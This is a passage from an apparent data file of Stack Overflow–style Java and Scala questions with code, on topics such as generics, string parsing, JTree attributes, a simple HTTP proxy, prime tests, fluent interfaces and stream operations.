( a.complement ( ) .isEmpty ( ) ) { System.out.println ( e.getValue ( ) ) ; } else { System.out.println ( `` common prefix : '' + a.getCommonPrefix ( ) ) ; } } }",Java String Analysis for complete string regular expression +Java,"I have run into a very strange problem in my code . I have a simple temperature converter where the user enters the temperature in Celsius and , after pressing `` Convert '' , the temperature in Fahrenheit is shown . If the user does not enter something valid ( anything that is not a number or decimal ) an error dialog box is shown . Code : Pretty straight forward and simple code and works well except for one thing . When I enter a combination of a number followed by the letters `` f '' or `` d '' , no error dialog is shown and the temperature in Fahrenheit is calculated using the digit in front on the letter . This ONLY happens with `` d '' and `` f '' ( and `` D '' and `` F '' ) and not any other letter . I am stumped on this one . Why would only these two letters when placed after a digit cause the exceptions not to be thrown and a calculation to proceed ?","btnConvert.addActionListener ( new ActionListener ( ) { public void actionPerformed ( ActionEvent e ) { try { String tempFahr = ( String ) enterDegreesC.getText ( ) ; double tempF = Double.valueOf ( tempFahr ) ; double tempFConverted = tempF * 1.8 +32 ; displayDegreesF.setText ( tempFConverted + `` Farenheit '' ) ; } catch ( NumberFormatException nfe ) { JOptionPane.showMessageDialog ( frmTemperatureConverter , `` Please Enter a Number . `` , `` Conversion Error '' , JOptionPane.ERROR_MESSAGE ) ; } } } ) ;",Exception to Number Format Exception with `` D '' and `` F '' ? +Java,"If Collection defines hasNext ( ) instead of iterator ( ) .hasNext ( ) , we could write loop easier : instead of : Of course , I know easy way for loop for ( E e : collection ) exists.Why interface Iterator exists ?",while ( collection.hasNext ( ) ) { … } Iterator it= collection.iterator ( ) ; While ( it.hasNext ( ) ) { … },"Why doesn ’ t java.util.Collection define next ( ) , hasNext ( ) directly ?" +Java,"I 'm learning Java Generics recently , and just trying to go though `` Java Generics FAQ '' .Below question ( # 304 ) regarding wildcard parameterized type kinda confused me , would appreciate your help.Code Example : Can not figure out why below two method called will fail : Thanks",class Box < T > { private T t ; public Box ( T t ) { this.t = t ; } public void put ( T t ) { this.t = t ; } public T take ( ) { return t ; } public boolean equalTo ( Box < T > other ) { return this.t.equals ( other.t ) ; } public Box < T > copy ( ) { return new Box < T > ( t ) ; } } class Test { public static void main ( String [ ] args ) { Box < ? > box = new Box < String > ( `` abc '' ) ; box.put ( `` xyz '' ) ; // error box.put ( null ) ; // ok String s = box.take ( ) ; // error Object o = box.take ( ) ; // ok boolean equal = box.equalTo ( box ) ; // error { confused } equal = box.equalTo ( new Box < String > ( `` abc '' ) ) ; // error { confused } Box < ? > box1 = box.copy ( ) ; // ok Box < String > box2 = box.copy ( ) ; // error } } boolean equal = box.equalTo ( box ) ; equal = box.equalTo ( new Box < String > ( `` abc '' ) ) ;,Java Generics Wildcard confusion +Java,"Is there any BDD tool for Scala supporting reusable parameterized Gherkin clauses ? I would like to be able to have the ability to use specs like these : And I would like to define fixtures to Gherkin clauses differing by a parameter only once , something like : Given definitions of clauses looking like as follows : I looked through ScalaTest and Specs manuals but I did n't find such feature . ScalaTest seems to be able to reuse the defined clause in a different scenario , but looks like it is not parameterised.Do you know some tools that does support what I want , or e.g . some extensions to ScalaTest , or a way to extend it myself with such result ?",Given number 4 is enteredWhen `` + '' is pressedAnd number -1 is enteredAnd `` * '' is pressedAnd number 2 is enteredAnd `` = '' is pressedThen result is 6 scenario ( `` ( 4+ ( -1 ) ) * 2 = 6 '' ) { given ( `` number 4 is entered '' ) when ( `` '+ ' is pressed '' ) and ( `` number -1 is entered '' ) and ( `` '* ' is pressed '' ) and ( `` number 2 is entered '' ) and ( `` '= ' is pressed '' ) then ( `` result is 0 '' ) } `` number $ number is entered '' { calculator.enter ( number ) } '' ' $ key ' is pressed '' { calculator.press ( key ) } '' result is $ number '' { assert ( calculator.getDisplayedNumber === number ) },BDD tool for Scala supporting reusable parameterized Gherkin clauses +Java,"TL ; DR I have many buttons , and I am swapping the images of them . For some reason , my code only works on certain phones , and not on others.My app uses the following code to compare images on imagebuttons : onCreate : onClick ( v is the button clicked ) Then , later on in the onClick , I check if the user clicked on the redSquare by doing this : I have tested it on my emulator and HUAWEI phone , and it works fine . When I tested it on my other phone ( lg g3 ) , the if statement does n't go through . Why are the results different ? Is the image somehow being messed up in my phone ?",redsquare = getResources ( ) .getDrawable ( R.drawable.redsquare ) ; bitred = ( ( BitmapDrawable ) redsquare ) .getBitmap ( ) ; ClickGround = v.getBackground ( ) ; //Get the background of button clicked//the bitmap background of the button clickedBitClick = ( ( BitmapDrawable ) ClickGround ) .getBitmap ( ) ; if ( BitClick == bitred ) { //Make sure it is the red square that user clicked },Why is this not working sometimes ? +Java,"The documentation for the method getClass ( ) in Object says : The actual result type is Class < ? extends |X| > where |X| is the erasure of the static type of the expression on which getClass is called.So why does foo compile but not bar ? EditI 've accepted yshavit 's answer , as it clearly answers my question , but I 'm still curious to know why they defined it like this . They could have defined it to have type Class < ? extends T > where T is the static type of the expression . It is n't clear to me why it 's necessary to erase the type information at this stage . It makes sense if the type is List < String > , but not if it 's T. I 'll up-vote any answer that explains this .",static void foo ( String s ) { try { Class < ? extends String > clazz = s.getClass ( ) ; } catch ( Exception e ) { } } static < T > void bar ( T t ) { try { Class < ? extends T > clazz = t.getClass ( ) ; } catch ( Exception e ) { } },Return type of getClass method +Java,"list.toArray ( T [ ] a ) , what if the T is a `` runtime type '' ? `` List '' interface in Java , the method : T [ ] toArray ( T [ ] a ) OK , it 's a quite old question , usually we use it like that : My problem is , I do n't know what the type `` T '' is when I was coding , the type `` T '' can only be decide in runtime , here is example : Now I need to convert the list into an array which element type is clazz , what should I do ? May be you are wondering why do I have this kind of need : I am making a little modification onto Morphia ( It 's a java-mongoDB framework ) . I need to aquire data from mongoDB and set it into right field of a POJO . In certain circumstance , the field type is array , the data aquired is a BasicDBList entity ( which extends ArrayList ) , so the BasicDBList entity had to be convert into an array which type is compatible with the POJO filed . I looked into source code of ArrayList , then achieved my goals with some ugly code : Is there any better way to do this please ?","String [ ] array = list.toArray ( new String [ 0 ] ) ; String [ ] array = list.toArray ( new String [ list.size ( ) ] ) ; List list= ... ; // no generic type declared on this ListClass < ? > clazz= ... ; //yeah , this is the real type of the element of the list , I can sure about that List list= ... ; Class < ? > clazz= ... ; Object targetArray=Array.newInstance ( clazz , list.size ( ) ) ; list.toArray ( ( Object [ ] ) targetArray ) ;","list.toArray ( T [ ] a ) , what if the `` T '' is a `` runtime type '' ?" +Java,"I want to display the name and values of an attribute beside the node name in JTree . Can anyone tell me how to do that ? Here is the code I use to display the JTree : In the JTree , I want to display the NEType attribute beside NE node , and the equipmentHolderType attribute beside EQHO nodeI want to have somthing like this : Here is an example of xml files that I deal with :","import javax.swing . * ; import java.awt . * ; import java.awt.event . * ; import java.awt.Event . * ; import java.io . * ; import javax.swing.tree . * ; import org.xml.sax . * ; import org.xml.sax.helpers . * ; import org.apache.xerces.parsers . * ; public class XMLTreeView { private SAXTreeBuilder saxTree = null ; private static String file = `` '' ; public static void main ( String args [ ] ) { JFrame frame = new JFrame ( `` XMLTreeView : [ games.xml ] '' ) ; frame.setSize ( 400 , 400 ) ; frame.addWindowListener ( new WindowAdapter ( ) { public void windowClosing ( WindowEvent ev ) { System.exit ( 0 ) ; } } ) ; file = `` example1.xml '' ; new XMLTreeView ( frame ) ; } public XMLTreeView ( JFrame frame ) { frame.getContentPane ( ) .setLayout ( new BorderLayout ( ) ) ; DefaultMutableTreeNode top = new DefaultMutableTreeNode ( file ) ; // DefaultMutableTreeNode top = new DefaultMutableTreeNode ( `` XML Document '' ) ; saxTree = new SAXTreeBuilder ( top ) ; try { SAXParser saxParser = new SAXParser ( ) ; saxParser.setContentHandler ( saxTree ) ; saxParser.parse ( new InputSource ( new FileInputStream ( file ) ) ) ; } catch ( Exception ex ) { top.add ( new DefaultMutableTreeNode ( ex.getMessage ( ) ) ) ; } JTree tree = new JTree ( saxTree.getTree ( ) ) ; JScrollPane scrollPane = new JScrollPane ( tree ) ; frame.getContentPane ( ) .add ( `` Center '' , scrollPane ) ; frame.setVisible ( true ) ; } } class SAXTreeBuilder extends DefaultHandler { private DefaultMutableTreeNode currentNode = null ; private DefaultMutableTreeNode previousNode = null ; private DefaultMutableTreeNode rootNode = null ; public SAXTreeBuilder ( DefaultMutableTreeNode root ) { rootNode = root ; } public void startDocument ( ) { currentNode = rootNode ; } public void endDocument ( ) { } public void characters ( char [ ] data , int start , int end ) { String str = new String ( data , start , end ) ; if ( ! str.equals ( `` '' ) & & Character.isLetter ( str.charAt ( 0 ) ) ) { currentNode.add ( new DefaultMutableTreeNode ( str ) ) ; } } public void startElement ( String uri , String qName , String lName , Attributes atts ) { previousNode = currentNode ; currentNode = new DefaultMutableTreeNode ( lName ) ; // Add attributes as child nodes // attachAttributeList ( currentNode , atts ) ; previousNode.add ( currentNode ) ; } public void endElement ( String uri , String qName , String lName ) { if ( currentNode.getUserObject ( ) .equals ( lName ) ) { currentNode = ( DefaultMutableTreeNode ) currentNode.getParent ( ) ; } } public DefaultMutableTreeNode getTree ( ) { return rootNode ; } private void attachAttributeList ( DefaultMutableTreeNode node , Attributes atts ) { for ( int i = 0 ; i < atts.getLength ( ) ; i++ ) { String name = atts.getLocalName ( i ) ; String value = atts.getValue ( name ) ; node.add ( new DefaultMutableTreeNode ( name + `` = `` + value ) ) ; } } } NE NEType=WBTS EQHO equipmentHolderType=Subrack < ? xml version= '' 1.0 '' encoding= '' ISO-8859-1 '' standalone= '' yes '' ? > < HWData xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : noNamespaceSchemaLocation= '' hw_data.xsd '' > < Header xmlns : xsi= '' http : //www.w3.org/1999/XMLSchema-instance '' AdaptationName= '' NWI3BulkUpload '' AccessProtocol= '' NWI3 '' time= '' 2004-01-01T00:04:02 '' uploaded= '' true '' version= '' 1.0 '' / > < NE xmlns : xsi= '' http : //www.w3.org/1999/XMLSchema-instance '' vendorName= '' Nokia Siemens Networks '' objectClass= '' NE '' objectClassVersion= '' 1 '' MOID= '' NE-RNC-1/DN : NE-WBTS-4183 '' NEId= '' PLMN-PLMN/RNC-1/WBTS-4183 '' NEType= '' WBTS '' operationalState= '' enabled '' locationName= '' Tun4183 '' nameFromPlanningSystem= '' '' systemTitle= '' Nokia Flexi WCDMA Base Station '' > < EQHO vendorName= '' Nokia Siemens Networks '' objectClass= '' EQHO '' objectClassVersion= '' 1 '' MOID= '' NE-RNC-1/DN : NE-WBTS-4183/EQHO-40448 '' equipmentHolderId= '' 40448 '' equipmentHolderType= '' Subrack '' equipmentHolderSpecificType= '' 472100A-40448 '' identificationCode= '' 472100A '' version= '' 101 '' serialNumber= '' K9111641678 '' userLabel= '' FRGP '' state= '' working '' > < UNIT vendorName= '' Nokia Siemens Networks '' objectClass= '' UNIT '' objectClassVersion= '' 1 '' MOID= '' NE-RNC-1/DN : NE-WBTS-4183/EQHO-40448/UNIT-158 '' unitId= '' 158 '' unitTypeActual= '' CORE_FRGP '' identificationCode= '' 084629A '' version= '' 101 '' serialNumber= '' K9111641678 '' / > < /EQHO > < EQHO vendorName= '' Nokia Siemens Networks '' objectClass= '' EQHO '' objectClassVersion= '' 1 '' MOID= '' NE-RNC-1/DN : NE-WBTS-4183/EQHO-173 '' equipmentHolderId= '' 173 '' equipmentHolderType= '' Subrack '' equipmentHolderSpecificType= '' 471469A-173 '' identificationCode= '' 471469A '' version= '' '' serialNumber= '' L1104816112 '' userLabel= '' FSME '' state= '' working '' > < UNIT vendorName= '' N '' objectClass= '' UNIT '' objectClassVersion= '' 1 '' MOID= '' NE-RNC-1/DN : NE-WBTS-4183/EQHO-173/UNIT-16 '' unitId= '' 16 '' unitTypeActual= '' CORE_FSME '' identificationCode= '' 083833A '' version= '' 104 '' serialNumber= '' L1104816112 '' / > < UNIT vendorName= '' NOKIA SIEMENS NETWORKS '' objectClass= '' UNIT '' objectClassVersion= '' 1 '' MOID= '' NE-RNC-1/DN : NE-WBTS-4183/EQHO-173/UNIT-225 '' unitId= '' 225 '' unitTypeActual= '' FTLB '' identificationCode= '' 471984A '' version= '' 103 '' serialNumber= '' RY104807867 '' / > < /EQHO > < EQHO vendorName= '' NSN '' objectClass= '' EQHO '' objectClassVersion= '' 1 '' MOID= '' NE-RNC-1/DN : NE-WBTS-4183/EQHO-40192 '' equipmentHolderId= '' 40192 '' equipmentHolderType= '' Subrack '' equipmentHolderSpecificType= '' 472083A-40192 '' identificationCode= '' 472083A '' version= '' 101 '' serialNumber= '' L6105220714 '' userLabel= '' FXDA '' state= '' working '' / > < /NE > < /HWData >",How to display a specific attribute name and value beside a node in JTree ? +Java,"Starting from this post I tried to implement a little proxy server that handles GET and POST requests as well ( just replace the Handler class by the one below ) : After having some issues with POST requests , I figured out that it is important to shut down the streams in the right way . So finally the code above is working quite well when using the Internet Explorer . Using other browsers , however , it looks like the streams/sockets are not properly closed , because sometimes loading indicators are running for quite a while , though the content seems already to be loaded . Sometimes , sites are not completely loaded and threads seem to hang at ... in forwardData ( ... ) . I do n't know how I could find out , whether the stream might provide some data or not - or how to avoid this blocking call of read at all.Does anybody know what I 'm doing wrong and how I could forward the data properly , so that all browsers load contents correctly without unnecessary delays ?","public static class Handler extends Thread { public static final Pattern CONNECT_PATTERN = Pattern.compile ( `` CONNECT ( .+ ) : ( .+ ) HTTP/ ( 1\\ . [ 01 ] ) '' , Pattern.CASE_INSENSITIVE ) ; public static final Pattern GET_POST_PATTERN = Pattern.compile ( `` ( GET|POST ) ( ? : http ) : // ( [ ^/ : ] * ) ( ? : : ( [ ^/ ] * ) ) ? ( / . * ) HTTP/ ( 1\\ . [ 01 ] ) '' , Pattern.CASE_INSENSITIVE ) ; private final Socket clientSocket ; private boolean previousWasR = false ; public Handler ( Socket clientSocket ) { this.clientSocket = clientSocket ; } @ Override public void run ( ) { try { String request = readLine ( clientSocket , Integer.MAX_VALUE ) ; Matcher connectMatcher = CONNECT_PATTERN.matcher ( request ) ; Matcher getNpostMatcher = GET_POST_PATTERN.matcher ( request ) ; System.out.println ( `` Request : `` +request ) ; if ( connectMatcher.matches ( ) ) { // ... } else if ( getNpostMatcher.matches ( ) ) { String method = getNpostMatcher.group ( 1 ) ; String hostString = getNpostMatcher.group ( 2 ) ; String portString = getNpostMatcher.group ( 3 ) ; String lengthString = null ; String line ; ArrayList < String > buffer = new ArrayList < String > ( ) ; Integer port = portString == null || `` '' .equals ( portString ) ? 80 : Integer.parseInt ( portString ) ; Integer length = null ; buffer.add ( request ) ; while ( ( line = readLine ( clientSocket , Integer.MAX_VALUE ) ) ! = null ) { buffer.add ( line ) ; if ( `` '' .equals ( line ) ) break ; if ( lengthString == null & & line.startsWith ( `` Content-Length : `` ) ) { lengthString = line.substring ( 16 ) ; length = Integer.parseInt ( lengthString ) ; } } try { final Socket forwardSocket ; try { forwardSocket = new Socket ( hostString , port ) ; System.out.println ( `` `` + forwardSocket ) ; } catch ( IOException | NumberFormatException e ) { OutputStreamWriter outputStreamWriter = new OutputStreamWriter ( clientSocket.getOutputStream ( ) , `` ISO-8859-1 '' ) ; e.printStackTrace ( ) ; outputStreamWriter.write ( `` HTTP/ '' + connectMatcher.group ( 3 ) + `` 502 Bad Gateway\r\n '' ) ; outputStreamWriter.write ( `` Proxy-agent : Simple/0.1\r\n '' ) ; outputStreamWriter.write ( `` \r\n '' ) ; outputStreamWriter.flush ( ) ; return ; } PrintWriter printWriter = new PrintWriter ( forwardSocket.getOutputStream ( ) ) ; for ( String bufferedLine : buffer ) { printWriter.println ( bufferedLine ) ; } printWriter.flush ( ) ; if ( `` POST '' .equals ( method ) & & length > 0 ) { System.out.println ( `` Posting data ... '' ) ; if ( previousWasR ) { // skip \n if existing int read = clientSocket.getInputStream ( ) .read ( ) ; if ( read ! = '\n ' ) { forwardSocket.getOutputStream ( ) .write ( read ) ; } forwardData ( threadId , clientSocket , forwardSocket , length , true ) ; // only forward `` Content-length '' bytes } else { forwardData ( threadId , clientSocket , forwardSocket , length , true ) ; // only forward `` Content-length '' bytes } } System.out.println ( `` Forwarding response ... '' ) ; forwardData ( threadId , forwardSocket , clientSocket , null , false ) ; if ( forwardSocket ! = null ) { forwardSocket.close ( ) ; } } catch ( Exception e ) { e.printStackTrace ( ) ; } } } catch ( IOException e ) { e.printStackTrace ( ) ; } finally { try { clientSocket.close ( ) ; } catch ( IOException e ) { e.printStackTrace ( ) ; } } } private static void forwardData ( int threadId , Socket inputSocket , Socket outputSocket , Integer length , boolean isPost ) { try { InputStream inputStream = inputSocket.getInputStream ( ) ; try { OutputStream outputStream = outputSocket.getOutputStream ( ) ; try { byte [ ] buffer = new byte [ 4096 ] ; int read ; if ( length == null || length > 0 ) { do { if ( ( read = inputStream.read ( buffer ) ) > 0 ) { outputStream.write ( buffer , 0 , read ) ; if ( inputStream.available ( ) < 1 ) { outputStream.flush ( ) ; } if ( length ! = null ) { length = length - read ; } } } while ( read > = 0 & & ( length == null || length > 0 ) ) ; } } finally { if ( ! outputSocket.isOutputShutdown ( ) ) { if ( ! isPost ) { outputSocket.shutdownOutput ( ) ; } } } } finally { if ( ! inputSocket.isInputShutdown ( ) ) { inputSocket.shutdownInput ( ) ; } } } catch ( IOException e ) { e.printStackTrace ( ) ; } } private String readLine ( Socket socket , Integer noOfBytes ) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream ( ) ; int next ; readerLoop : while ( noOfBytes -- > 0 & & ( next = socket.getInputStream ( ) .read ( ) ) ! = -1 ) { if ( previousWasR & & next == '\n ' ) { previousWasR = false ; continue ; } previousWasR = false ; switch ( next ) { case '\r ' : previousWasR = true ; break readerLoop ; case '\n ' : break readerLoop ; default : byteArrayOutputStream.write ( next ) ; break ; } } return byteArrayOutputStream.toString ( `` ISO-8859-1 '' ) ; } } if ( ( read = inputStream.read ( buffer ) ) > 0 ) {",Java Proxy - ca n't exchange data from HTTP GET/POST request properly +Java,"Here 's a piece of code to compute all primes from 2 to 1000 using the statement , that a number n is a prime number iff : In the first version I think that I implemented the algorithm correctly : But , since the variable sum grows rapidly , an overflow happens and after the prime number 17 there will be no output anymore.To prevent that I have to use this : Well , I did that and here is my 2. version : I think I did it correctly , but now the output stops after the prime number 13 . I 'm trying to find my mistake for quite some time now . What am I doing wrong ? There must be 168 primes from 2 to 1000 .","public class Giuga { public static void main ( String [ ] args ) { int n = 2 ; while ( n < =1000 ) { int k = 1 ; long sum = 0 ; while ( k < =n-1 ) { sum = sum+ ( long ) Math.pow ( ( double ) k , ( double ) n-1 ) ; k++ ; } if ( sum % n==n-1 ) { System.out.println ( n + `` is a prime . `` ) ; } n++ ; } } } public class Giuga { public static void main ( String [ ] args ) { int n = 2 ; while ( n < =1000 ) { int k = 1 ; long sum = 0 ; while ( k < =n-1 ) { sum = sum+ ( ( long ) Math.pow ( ( double ) k % n , ( double ) n-1 ) ) % n ; //Here are the changes k++ ; } if ( sum % n==n-1 ) { System.out.println ( n + `` is a prime . `` ) ; } n++ ; } } }",Algorithm to find all primes from 2 to 1000 not working +Java,"When you employ a fluent approach you might have the following scenario : A strength of a fluent interface is that you can chain method invocations , but whilst Bar has inherited someMethod ( ) , the return type is Foo not Bar which would break the following chain : One answer could be to add @ Overrides for every inherited method , such that Bar has the additional method : But in large classes , and extended class hierarchies this can prove a mess of redundancy surely ? ! Is there an appropriate return type to give to fluent methods whereby every class that inherits it will return an object of its specific type ( so that we can chain methods without casts ) ? I tried : To alas , no avail . I am hoping someone knows of a simple and elegant solution to this problem . The project is large and so it needs to be maintainable and extensible if possible.Thank you to any help you can provide in this scenario .",public class Foo < T extends a > { public Foo < T > someMethod ( ) { System.out.println ( `` foo '' ) ; return this ; } } public class Bar < T extends b > extends Foo < T > { public Bar < T > barMethod ( ) { System.out.println ( `` bar '' ) ; return this ; } } public class a { } public class b extends a { } new Bar < b > ( ) .someMethod ( ) .barMethod ( ) ; @ Override public Bar < T > someMethod ( ) { System.out.println ( `` foo '' ) ; return this ; } public < U extends Foo < T > > U someMethod ( ) { System.out.println ( `` foo '' ) ; return this ; },"Java - Inherited Fluent method return type to return incident class ' type , not parent 's" +Java,"I have a List of colors like this : Pink , Blue , Red , blue , Grey , green , purple , black ... etcThere are some intermediate operation like filtering some fruit colors , now I am left with filtered results where I want them to be sorted in order : Blue , black , blue , Grey , green , Pink , purple , RedI have tried : It does not work as expected . The output is the following : black , Blue , blue , green , Grey , Pink , purple , RedI want the following : Blue , black , blue , Grey , green , Pink , purple , Red","List < String > listOfColors = Arrays.asList ( `` Pink '' , `` Blue '' , `` Red '' , `` blue '' , `` Grey '' , `` green '' , `` purple '' , `` black '' ) ; List < String > collect = listOfColors.stream ( ) .sorted ( String : :compareToIgnoreCase ) .collect ( Collectors.toList ( ) ) ;",Custom Sorting in way that A comes before a and B comes before b +Java,"I 've got a heap dump from the application and found out that there 's a huge number of ArrayLists with only 1 object in it . I know how to get the list of such arraylists and also show the class of the contained element : The result looks like this : What I would like is to get something like this : but I 'm not able to aggregate the results or do anything else on those . I 've found here how to pass the values to outer select , but I ca n't figure out how to use anything else beside the * in the first select .",SELECT list.elementData [ 0 ] FROM java.util.ArrayList list WHERE ( list.size = 1 ) java.lang.String [ id=0x7f8e44970 ] java.lang.String [ id=0x7f8e44980 ] java.lang.String [ id=0x7f8e44572 ] java.io.File [ id=0x7f8e43572 ] ... Class | count=================================java.lang.String | 100java.io.File | 74 ... SELECT * from OBJECTS ( SELECT OBJECTS list.elementData [ 0 ] FROM java.util.ArrayList list WHERE ( list.size = 1 ) ),Get number of objects referenced from ArrayList with size 1 grouped by class +Java,I have 2 simple methods in a scala library class : This all compiles nicely . I then put this in a library foo.jar and try and compile the following piece of Java : I can replace the offending line with : But this seems to defeat the point . How can I call it from Java using Java varargs-like syntax ?,"class Foo { def bar ( args : String* ) : Unit = println ( `` Foo.bar with : `` + args ) def bar ( args : Array [ String ] ) : Unit = bar ( args.toSeq : _* ) } import Foopublic class Test { public static void main ( String [ ] args ) { Foo foo = new Foo ( ) ; foo.bar ( `` Hello '' , `` World '' ) ; //DOES NOT COMPILE } } foo.bar ( new String [ ] { `` Hello '' , `` World '' } ) ; //OK",How to declare scala method so that it can be called from Java using varargs style +Java,How does an application check in on `` Mute '' status of an Android Wear device ? All volumes seem t be 0 no matter what.gives me,"Log.d ( `` VOLUME - STREAM_SYSTEM '' , Integer.toString ( audioManager.getStreamVolume ( AudioManager.STREAM_SYSTEM ) ) ) ; Log.d ( `` VOLUME - STREAM_NOTIFICATION '' , Integer.toString ( audioManager.getStreamVolume ( AudioManager.STREAM_NOTIFICATION ) ) ) ; Log.d ( `` VOLUME - STREAM_RING '' , Integer.toString ( audioManager.getStreamVolume ( AudioManager.STREAM_RING ) ) ) ; D/VOLUME - STREAM_SYSTEM ( 32598 ) : 0D/VOLUME - STREAM_NOTIFICATION ( 32598 ) : 0D/VOLUME - STREAM_RING ( 32598 ) : 0",Android Wear detect `` Mute '' +Java,"I 'm writing a program to implement an algorithm I found in the literature.In this algorithm , I need a while loop ; to check if the while condition is satisfied , I have created an Object ( of the same type as solution ) called copy . This copy is a copy of the solution before the solution is updated . So if there 's been a change in the solution , the condition in the while loop is satisfied.However , I am having some problems finding the best solution for the conditions of both objects as the while loop is executed , since I start with an empty solution ( resultset ) and the copy is also empty at that time ( both called with the constructor of the class ) . This means that when the while loop is executed , both objects are equal and thus all statements in the while loop are not executed.My solution for now is to create a dummy variable that is set to true before the while loop and is set to false in it . I doubt that this is the best solution , so I 'm wondering if there is a standard solution to this problem ( some way to force the program to always run the first iteration of the while loop ) ? Code as it is now :",while ( solution has changed ) { updateSolution ( ) ; } SolutionSet solution = new SolutionSet ( ) ; SolutionSet copy = new SolutionSet ( ) ; boolean dummy = true ; while ( ( ! solution.equals ( copy ) ) || dummy ) { dummy = false ; copy = solution.copy ( ) ; solution.update ( ) // here some tests are done and one object may be added to solution },How to force the program to always run the first iteration of a while loop ? +Java,"I 'm not very used to java world , so I 'm not sure if my problem is on my Azure set up , or java set up . I am getting the following exception after attempting the tutorial below.https : //docs.microsoft.com/en-us/azure/event-hubs/event-hubs-java-get-started-receive-ephThe exception occurs during this line from the sample : I did the .NET version of the tutorial with little problem . Sending and receiving works in that case . Any insights ? I 've been fumbling around with no luck the last few days .","Failure while registering : com.microsoft.azure.eventprocessorhost.EPHConfigurationException : Encountered error while fetching the list of EventHub PartitionIds : sun.security.validator.ValidatorException : PKIX path building failed : sun.security.provider.certpath.SunCertPathBuilderException : unable to find valid certification path to requested target host.registerEventProcessor ( EventProcessor.class , options ) .get ( ) ;",Java Connecting to azure event hub : SunCertPathBuilderException +Java,"I want to generate a list of numbers using lambda expressions and not a for-loop.So let 's say I want to generate a list of all triangular numbers under 100 . Triangular numbers are numbers which follow the formula : ( n*n+n ) /2What is the best way of doing this ? Currently I have this : But this seems unnecessarily overkill with the amount of calculations . I iterate n over 1 to 100 ( because lets assume I do not know what the max value for n is ) , then I map the triangle number function of that list and then I check which numbers are under 100 . Is there a more efficient way in doing this ? Also : can I generate the triangle numbers using only the iterate function of Stream instead of using iterate , limit and then map ? EDIT : So the main point here is : how can calculation of traingle numbers stop as soon as one of the triangle numbers exceeds 100 ? Usually I would write it like this : which stops as soon as a triangle number exceeds 100 , which is very efficient ; how can I retain this efficiency in lambda expression ?","Stream.iterate ( 1 , n - > n + 1 ) .limit ( 100 ) .map ( n - > ( n * n + n ) / 2 ) .filter ( a - > a < 100 ) .map ( a - > a + `` '' ) .collect ( Collectors.joining ( `` , `` , `` Numbers : `` , `` . `` ) ) ; ArrayList < Integer > triangles = new ArrayList < > ( ) ; for ( int n=1 ; true ; n++ ) { int num = ( n*n+n ) /2 ; if ( num > 100 ) break ; triangles.add ( num ) ; }",Lambda expressions in Java 8 +Java,"I recenly encountered this problem in a project : There 's a chain of nested objects , e.g . : class A contains an instance variable of class B , which in turns has an instance variable of class C , ... , until we have a node in the tree of class Z.Each class provides getters and setters for its members . The parent A instance is created by an XML parser , and it is legal for any object in the chain to be null.Now imagine that at a certain point in the application , we have a reference to an A instance , and only if it contains a Z object , we must invoke a method on it . Using regular checks , we get this code : I know that exceptions should not be used for ordinary control flow , but instead of the previous code , I have seen some programmers doing this : The problem with this code is that it may be confuse when maintaining it , since it does n't show clearly which objects are allowed to be null . But on the other hand is much more concise and less `` telescopic '' .Is it an acceptable to do this to save development time ? How could the API be redesigned to avoid this problem ? The only thing I can think of to avoid the long null checking is to provide void instances of the nested objects and providing isValid methods for each one of them , but would n't this create a lot of innecesary objects in memory ? ( I 've used Java code , but the same question can apply to C # properties ) Thanks .",-- -- - -- -- - -- -- - -- -- - -- -- - | A | -- - > | B | -- - > | C | -- - > | D | -- - > ... -- - > | Z | -- -- - -- -- - -- -- - -- -- - -- -- - A parentObject ; if ( parentObject.getB ( ) ! = null & & parentObject.getB ( ) .getC ( ) ! = null & & parentObject.getB ( ) .getC ( ) .getD ( ) ! = null & & parentObject.getB ( ) .getC ( ) .getD ( ) .getE ( ) ! = null & & ... parentObject.getB ( ) .getC ( ) .getD ( ) .getE ( ) .get ... getZ ( ) ! = null ) { parentObject.getB ( ) .getC ( ) .getD ( ) .getE ( ) .get ... getZ ( ) .doSomething ( ) ; } try { parentObject.getB ( ) .getC ( ) .getD ( ) .getE ( ) .get ... getZ ( ) .doSomething ( ) ; } catch ( NullPointerException e ) { },Is it acceptable to use exceptions instead of verbose null-checks ? +Java,The issue is indicated in the code.Why does Java generics not allow type conversion on generic types ?,public class Main { public static < T > void foo ( T [ ] bar ) { double d = ( double ) bar [ 0 ] ; // Error : incompatible types } public static void main ( String [ ] args ) { int [ ] int_buf = new int [ 8 ] ; foo ( int_buf ) ; } },Why does Java generics not allow type conversion on generic types ? +Java,"Map structure and data is given belowA , 12B , 23C , 67D , 99Now i want to group values in range , output has range as key and number of elements there as value . Like below:0-25 , 226-50 , 051-75 , 176-100 , 1How can we do this using java streams ?","Map < String , BigDecimal >",Find number of elements in range from map object +Java,"When setting a png image as the stage icon in JavaFX ( using Kotlin , but this is also a problem in Java ) , the icon seems to be deformed . I have googled for this problem , and found the following things : It was ( and probably still is ) a bug . On the issue page of this bug they explain that a workaround would be to avoid using semi-transparent pixels . I have tried this , but still my images get deformed , as is shown below . Left . Original 32x32 image provided to JavaFx . Right . The image JavaFx put in the taskbar . Left . Original 48x48 image provided to JavaFx . Right . The image JavaFx put in the taskbar.It looks like the 32x32 one has to be scaled up , and the 48x48 one has to be scaled down , to something around 42x42 ( I also made a 42x42 but that did n't help either ) . Since the sizes that Windows 'wants ' are either a power of two or 48x48 , you would say that those sizes would work.I came upon this older question about this topic . It is discussed here that JavaFX does not automatically pick the best size of the icon , but usually the last icon that you add to the icon set , so it is suggested to put the icon you think would be the best fit as last.As I am aware that this is ( probably ) an unresolved bug in JavaFX and the other question was last active about three years ago , I am wondering if anyone has found a better workaround in the meantime . I have created an MWE in Kotlin similar to the one provided in the issue page , as you can easily compare the original image to the one that ends up in the task bar . The images used are the following : icon48.png : icon32.png : MWE","class Main : Application ( ) { override fun start ( primaryStage : Stage ) { val icon48 = Image ( `` sample/icon48.png '' ) val icon32 = Image ( `` sample/icon32.png '' ) primaryStage.scene = Scene ( Group ( ImageView ( icon48 ) ImageView ( icon32 ) ) ) primaryStage.icons.addAll ( icon48 , icon32 ) primaryStage.show ( ) } } fun main ( args : Array < String > ) { Application.launch ( Main : :class.java , *args ) }",JavaFX icon quality in taskbar +Java,Starting point : I have a list of Employee : List < Employee > employee ; Employee examples from the list : Let 's assume that age is unique.How can I remove all duplicates from the list based on the name property and to keep in the output the entry with the largest age ? The output should look like : The way I tried : ..but the this way the first match will be kept in employee ... and I have no idea how to put an another condition here to keep the one with the largest age .,"public class Employee { private String id ; private String name ; private String age ; } { id= '' 1 '' , name= '' John '' , age=10 } { id= '' 2 